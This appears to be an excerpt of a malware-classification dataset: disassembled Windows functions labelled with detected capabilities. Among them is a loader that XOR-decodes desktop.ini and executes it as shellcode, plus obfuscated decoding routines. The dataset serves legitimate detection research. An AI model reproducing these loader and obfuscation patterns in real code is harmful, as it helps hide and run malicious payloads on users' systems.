joyce8/EMBER2024-capa huggingface dataset:
Function at 0x58dfc0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, ecx
mov edi, 1
push 0x5fbfb8
push 0x681290
mov dword [ebp - 8], ebx
mov dword [ebp - 4], edi
call fcn.004ddcb8
add esp, 8
mov esi, eax
jmp 0x58dff8
mov ebx, dword [ebp - 8]
jmp 0x58dff8
mov edi, dword [ebp - 4]
cmp edi, 1
jne 0x58e004
xor edi, edi
mov dword [ebp - 4], edi
jmp 0x58e015
push 0x5fbfb8
push 0
call fcn.004ddcb8
add esp, 8
mov esi, eax
test esi, esi
je 0x58e0f4
cmp byte [esi], 0
je 0x58dff8
push 0x5fc4b0
push esi
call fcn.004d88a0
add esp, 8
test eax, eax
je 0x58e0f4
push str.POSIX
push esi
call fcn.004d88a0
add esp, 8
test eax, eax
je 0x58e0f4
push 0x2f
push esi
call fcn.004c8a60
add esp, 8
test eax, eax
jne 0x58dff8
push 0x2f
push dword [ebp + 0x10]
call fcn.004c8a60
add esp, 8
test eax, eax
jne 0x58dff8
push 0x2f
push dword [ebp + 0x14]
call fcn.004c8a60
add esp, 8
test eax, eax
jne 0x58dff8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push esi
push dword [ebp + 8]
push str._s__s__s__s.mo
push 0x104
push ebx
call fcn.004b1a90
add esp, 0x1c
mov ecx, ebx
call fcn.0058e110
mov edi, eax
test edi, edi
je 0x58dff5
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, dword [ebp - 4]
cmp ebx, 0xffffffff
je 0x58dff0
test bl, 0x10
mov ebx, dword [ebp - 8]
jne 0x58dff8
mov edx, dword [ebp + 0x18]
mov ecx, ebx
call fcn.0058dc10
test eax, eax
jne 0x58dff8
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4f5864
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4f59d0
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.kernel32.dll_GetEnvironmentStringsW
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x4f58e9
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 0xc]
jmp 0x4f589f
add eax, 2
cmp word [eax], 0
jne 0x4f589c
lea edx, [eax + 2]
cmp word [edx], 0
jne 0x4f589c
sub eax, dword [ebp - 0xc]
add eax, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
call fcn.00407278
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
call fcn.00407790
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f58f0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_FreeEnvironmentStringsW
pop eax
jmp eax

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 8
lea esi, [ebp - 0xc]
push 0x400000
push esi
call fcn.00402913
add esp, 8
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x40109e
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
push eax
mov esi, ecx
mov edi, dword [ebp + 8]
mov eax, dword [ecx]
test eax, eax
je 0x4010bd
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esi], 0
mov dword [esi + 4], section..rdata
xor ebx, ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 8], ebx
mov word [esi + 0x10], 0
mov byte [esi + 0x12], 1
mov dword [esi + 0x14], ebx
mov ecx, esi
push edi
call fcn.00401126
lea edi, [ebp - 0x10]
mov dword [edi], ebx
push 2
push edi
push str.ChromeInstallerCleanup
push str.SoftwareChromium
push 0x80000001
call fcn.00402f26
add esp, 0x14
cmp word [edi], 0x30
setne cl
xor al, 1
or al, cl
mov byte [esi + 0x12], al
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ecx, esi
push eax
call fcn.0040118c
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret 4

Function at 0x401126
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
push eax
mov dword [ebp - 0x10], ecx
mov esi, dword [ebp + 8]
push 0xa
push 1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x401181
mov edi, eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401181
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x401181
mov edi, eax
and eax, 1
jne 0x401181
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x401181
and edi, 0xfffffffe
cmp word [edi + eax - 2], 0
jne 0x401181
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x14], eax
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret 4
Function at 0x40118c
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
mov esi, ecx
mov eax, dword [ebp + 8]
mov dword [ecx + 8], eax
lea edi, [ecx + 0xc]
push edi
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [esi], eax
mov dword [ebp - 0x10], eax
test eax, eax
je 0x40124a
cmp dword [edi], 2
jl 0x401218
mov dword [ebp - 0x14], edi
mov edi, 2
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov eax, dword [ebp - 0x10]
push str.__system_level
push dword [eax + edi*4 - 4]
call ebx
test eax, eax
je 0x401202
mov eax, dword [esi]
push str.__cleanup
push dword [eax + edi*4 - 4]
call ebx
test eax, eax
je 0x4011fc
mov eax, dword [esi]
push str.__chrome_frame
push dword [eax + edi*4 - 4]
call ebx
test eax, eax
jne 0x401206
mov byte [esi + 0x11], 1
jmp 0x401206
mov byte [esi + 0x10], 1
mov eax, dword [ebp - 0x14]
cmp edi, dword [eax]
jge 0x401218
mov eax, dword [esi]
inc edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
jmp 0x4011cb
cmp byte [esi + 0x10], 0
jne 0x40124a
xor eax, eax
lea edi, [ebp - 0x1c]
mov word [edi + 4], ax
mov word [edi], ax
push 2
push edi
push str.GoogleUpdateIsMachine
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
cmp eax, 1
sete al
cmp word [edi], 0x31
sete cl
and cl, al
mov byte [esi + 0x10], cl
cmp dword [ebp - 0x10], 0
setne al
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret 4
Function at 0x40125c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x238
mov eax, dword [0x405044]
test eax, eax
je 0x40141a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.FDICreate
push eax
call esi
mov dword [0x405038], eax
push str.FDIDestroy
push dword [0x405044]
call esi
mov dword [0x405040], eax
push str.FDICopy
push dword [0x405044]
call esi
mov dword [0x40503c], eax
xor ebx, ebx
cmp dword [0x405038], 0
je 0x40148a
cmp dword [0x405040], 0
je 0x40148a
test eax, eax
je 0x40148a
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [edi + eax*2]
test eax, eax
jle 0x4012f1
cmp word [ebx], 0x5c
je 0x4012f1
add ebx, 0xfffffffe
cmp ebx, edi
ja 0x4012e4
cmp ebx, edi
je 0x401488
add ebx, 2
xor edx, edx
dec edx
mov ecx, ebx
call fcn.00401494
mov esi, eax
mov dword [esp + 0xc], eax
sub ebx, edi
sar ebx, 1
mov ecx, edi
mov edx, ebx
call fcn.00401494
mov dword [esp + 8], eax
xor ebx, ebx
test esi, esi
je 0x401406
mov edi, eax
test eax, eax
je 0x401406
mov dword [esp + 4], esi
xor ebx, ebx
lea esi, [esp + 0x10]
mov dword [esi + 4], ebx
mov dword [esi], ebx
mov dword [esi + 8], ebx
mov ecx, dword [0x405038]
call dword [section..00cfg]
push esi
push 0xffffffffffffffff
push 0x401520
push 0x401540
push 0x401560
push 0x4015a0
push 0x4015e0
push 0x4016b0
push 0x4016d0
call ecx
add esp, 0x24
test eax, eax
je 0x401406
mov dword [esp], eax
mov eax, dword [ebp + 0xc]
lea esi, [esp + 0x20]
mov dword [esi - 4], eax
mov ecx, esi
call fcn.00401958
mov byte [esi + 0x210], 0
mov ecx, dword [0x40503c]
call dword [section..00cfg]
lea eax, [esp + 0x1c]
push eax
push ebx
push 0x4016f0
push ebx
push edi
push dword [esp + 0x18]
mov esi, dword [esp + 0x18]
push esi
call ecx
add esp, 0x1c
mov ecx, dword [0x405040]
call dword [section..00cfg]
push esi
lea esi, [esp + 0x24]
call ecx
add esp, 4
lea eax, [esp + 0x1c]
mov bl, byte [eax + 0x214]
test bl, bl
jne 0x4013fa
mov ecx, esi
call fcn.00401a22
test al, al
je 0x4013fa
mov ecx, esi
call fcn.00401a32
test bl, bl
setne bl
mov ecx, esi
call fcn.00401976
lea ecx, [esp + 8]
call fcn.004017b0
lea ecx, [esp + 0xc]
call fcn.004017b0
jmp 0x40148a
lea eax, [esp + 0x1e]
push 0x206
push 0
push eax
call fcn.00401020
add esp, 0xc
mov esi, 0xfffffff4
lea edi, [esp + 0x1c]
mov ebx, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov word [esp + 0x1c], 0
push 0x104
push edi
push dword [esi + 0x40408c]
call ebx
dec eax
cmp eax, 0x103
ja 0x40146c
push 8
push 0
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [0x405044], eax
jmp 0x401471
mov eax, dword [0x405044]
test eax, eax
jne 0x401278
add esi, 4
jne 0x40143d
mov eax, dword [0x40503c]
jmp 0x4012af
xor ebx, ebx
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401ba8
Capabilities:
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x70
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
xorps xmm0, xmm0
lea ecx, [esp + 0x28]
movups xmmword [ecx + 0x34], xmm0
movups xmmword [ecx + 0x24], xmm0
movups xmmword [ecx + 0x14], xmm0
movups xmmword [ecx + 4], xmm0
mov dword [ecx], 0x44
lea edx, [esp + 0x10]
movaps xmmword [edx], xmm0
sub esp, 0x28
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], ecx
xor ecx, ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], ecx
movaps xmm0, xmmword [0x4041c0]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x401c42
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0xc], 0
push 0xffffffffffffffff
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x401c60
mov edi, 0x6b
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401c83
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp edi, 3
je 0x401c87
cmp edi, 2
jne 0x401c99
mov ecx, dword [ebp + 0x14]
jmp 0x401c8a
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x401c35
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov edi, dword [esp + 0xc]
mov dword [esi], edi
jmp 0x401c8c
mov ecx, dword [ebp + 0x18]
mov dword [esi], ecx
mov dword [esi + 4], eax
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp + 0x1c]
mov dword [esi], eax
mov dword [esi + 4], edi
jmp 0x401c8f

Function at 0x402548
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x210
mov eax, dword [ebp + 8]
xor ebx, ebx
lea esi, [ebp - 0x218]
mov word [esi + 0x208], bx
mov word [esi], bx
mov dword [ebp - 0xc], 0
push 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
test eax, eax
je 0x4025b0
sub esp, 0x20
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], ebx
lea eax, [ebp - 0xc]
mov dword [esp + 0x14], eax
xorps xmm0, xmm0
movups xmmword [esp + 4], xmm0
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x4025b0
mov bl, byte [ebp - 0xc]
and bl, 8
shr bl, 3
mov eax, ebx
add esp, 0x210
pop esi
pop ebx
pop ebp
ret
Function at 0x402756
Capabilities:
Create directory
Generate random numbers via rtlgenrandom

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x10]
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [eax + 4], 0
mov dword [eax], 0x6c
push esi
push 0x104
push ebx
call fcn.00402b7e
add esp, 0xc
test al, al
je 0x402888
push 0x40439a
push 0x104
push ebx
call fcn.00402bb9
add esp, 0xc
test al, al
je 0x402888
mov edi, 0x104
push edi
push ebx
call fcn.00402b57
add esp, 8
mov ecx, eax
sub edi, eax
xor eax, eax
cmp edi, 0xb
jb 0x40288a
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x24]
mov dword [ecx + 4], eax
mov dword [ecx], eax
mov dword [ecx - 4], 0xc
push ecx
push esi
call fcn.00402656
add esp, 8
test al, al
je 0x402876
mov dword [ebp - 0x14], edi
mov eax, dword [ebp + 0x10]
mov dword [eax + 4], 0
mov dword [eax], 0x6d
mov eax, dword [ebp - 0x10]
lea ecx, [ebx + eax*2]
mov dword [ebp - 0x1c], ecx
add eax, 5
mov dword [ebp - 0x18], eax
mov esi, 0xfffffff6
mov eax, 4
push eax
lea edi, [ebp - 0x2c]
push edi
call sub.ADVAPI32.dll_SystemFunction036
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
mov eax, 4
push eax
push edi
call fcn.00402af0
add esp, 0x10
cmp dword [ebp - 0x18], 0x103
ja 0x402847
mov eax, dword [ebp - 0x10]
mov word [ebx + eax*2 + 0xa], 0
push str..tmp
push 0x104
push ebx
call fcn.00402bb9
add esp, 0xc
mov eax, dword [ebp - 0x24]
test eax, eax
lea ecx, [ebp - 0x28]
cmovne eax, ecx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x402892
inc esi
jne 0x402810
jmp 0x4028af
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x10]
mov dword [ecx + 4], eax
mov dword [ecx], 0x75
xor eax, eax
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x4042e8
push 0x104
push ebx
call fcn.00402bb9
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp + 0x10]
mov dword [ecx + 4], eax
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x4028bd
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0
sete al
jmp 0x40288a
Function at 0x402d72
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x21c
mov edi, ecx
push dword [ecx]
push dword [ecx + 4]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x402e1c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x402e1c
mov esi, dword [ebp + 8]
lea ebx, [ebp - 0x228]
mov ecx, ebx
call fcn.00401958
mov ecx, ebx
push esi
call fcn.004019a0
test al, al
je 0x402e43
push dword [edi]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov bl, 1
test eax, eax
je 0x402e45
mov esi, eax
xor ebx, ebx
mov edi, esi
sub edi, ebx
mov ecx, 0x800000
cmp edi, ecx
cmovae edi, ecx
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x10]
add eax, ebx
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x228]
call fcn.00401abe
xor ecx, ecx
push ecx
lea ecx, [ebp - 0x18]
push ecx
push edi
push dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402e20
add ebx, edi
cmp esi, ebx
ja 0x402dd6
mov bl, 1
jmp 0x402e45
xor ebx, ebx
jmp 0x402e50
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
lea edi, [ebp - 0x228]
mov ecx, edi
call fcn.00401a32
mov ecx, edi
call fcn.00401976
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
lea ecx, [ebp - 0x228]
call fcn.00401976
mov eax, ebx
add esp, 0x21c
pop esi
pop edi
pop ebx
pop ebp
ret 4

Function at 0x402eba
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov edx, dword [ebp + 0x10]
xor eax, eax
add edx, edx
lea ebx, [ebp - 0x10]
mov dword [ebx], edx
lea edx, [ebp - 0x14]
mov dword [edx], eax
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
push ebx
push esi
push edx
push eax
push edi
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x402f1c
mov eax, 0x32
cmp dword [ebp - 0x14], 1
jne 0x402f1c
mov ecx, dword [ebp - 0x10]
cmp ecx, 2
jb 0x402f15
shr ecx, 1
cmp word [esi + ecx*2 - 2], 0
je 0x402f1a
mov eax, 0xea
cmp ecx, dword [ebp + 0x10]
jae 0x402f1c
lea esi, [esi + ecx*2]
mov word [esi], 0
xor eax, eax
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x5c50ac69
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x5c50e0e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x5c50ae32
xor ebx, ebx
cmp dword [eax], ebx
je 0x5c50ae32
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x5c50ae32
cmp dword [eax], ebx
je 0x5c50ae32
mov eax, dword [esi + 8]
sub eax, ebx
je 0x5c50acce
sub eax, 1
jne 0x5c50acd5
push dword [esi + 0x20]
call fcn.5c50a4e6
push 0x5c5025b8
push esi
call fcn.5c51ad52
pop ecx
pop ecx
jmp 0x5c50acd5
push 0x37
call fcn.5c50b278
push 1
push ebx
push ebx
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, eax
mov dword [ebp - 0x94], edi
cmp edi, 0xffffffff
jne 0x5c50acf9
mov eax, 0x88760361
jmp 0x5c50ae34
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x98], ebx
cmp dword [eax], ebx
jbe 0x5c50ae32
mov eax, dword [esi + 0x1c]
mov ecx, ebx
push 0
push 0
mov eax, dword [eax + 0xc]
push dword [eax + ecx*4]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x5c50acef
push edi
mov ecx, esi
call fcn.5c50b2c7
push 0
mov ecx, esi
call fcn.5c50b2c7
push 0
push 0
push edi
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x5c50acef
mov eax, dword [esi + 0x18]
mov ecx, ebx
shl ecx, 2
mov eax, dword [eax + 0xc]
add eax, ecx
xor ecx, ecx
push ecx
push 0x8000080
push 3
push ecx
push ecx
push 0x80000000
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x90], eax
cmp eax, 0xffffffff
je 0x5c50acef
and dword [ebp - 0x8c], 0
lea ecx, [ebp - 0x88]
push 0
push ecx
push 0x80
lea ecx, [ebp - 0x84]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x5c50ae08
mov ebx, dword [ebp - 0x90]
mov edi, dword [ebp - 0x8c]
cmp dword [ebp - 0x88], 0
je 0x5c50adf6
lea eax, [ebp - 0x84]
mov ecx, esi
push eax
push dword [ebp - 0x88]
call fcn.5c50b254
add edi, dword [ebp - 0x88]
lea eax, [ebp - 0x88]
push 0
push eax
push 0x80
lea eax, [ebp - 0x84]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x5c50adb3
mov ebx, dword [ebp - 0x98]
mov dword [ebp - 0x8c], edi
mov edi, dword [ebp - 0x94]
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add edi, dword [ebp - 0x8c]
inc ebx
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x94], edi
mov dword [ebp - 0x98], ebx
cmp ebx, dword [eax]
jb 0x5c50ad0a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.5c50cb00
mov esp, ebp
pop ebp
ret
Function at 0x5c51528c
Capabilities:
Encode data using xor

Disassembly:
call 0x5c515205
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x5c515235
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x5c515251
xor edx, 0
jmp 0x5c51525c
xor edx, edx
jmp 0x5c515273
jmp 0x5c51527f
xor eax, eax
push 0x8427d7c0
call 0x5c51528c
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x5c5152c8
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x5c5152a1
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x5c5152df
add eax, 0
jno 0x5c5152e4
add esi, 0
ret 0x10

Function at 0x5c51604d
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x5c51606f
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x5c516211
cmp edi, dword [ebp + 0x10]
jb 0x5c516211
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.5c515b39
inc edi
jmp 0x5c5160f8
jmp 0x5c516105
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.5c515b39
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.5c515b39
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x5c516159
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x5c51613d
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.5c516187
add dword [eax], 0x39
jle 0x5c516163
sub al, 0xf5
mov ch, al
call fcn.5c51619c
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10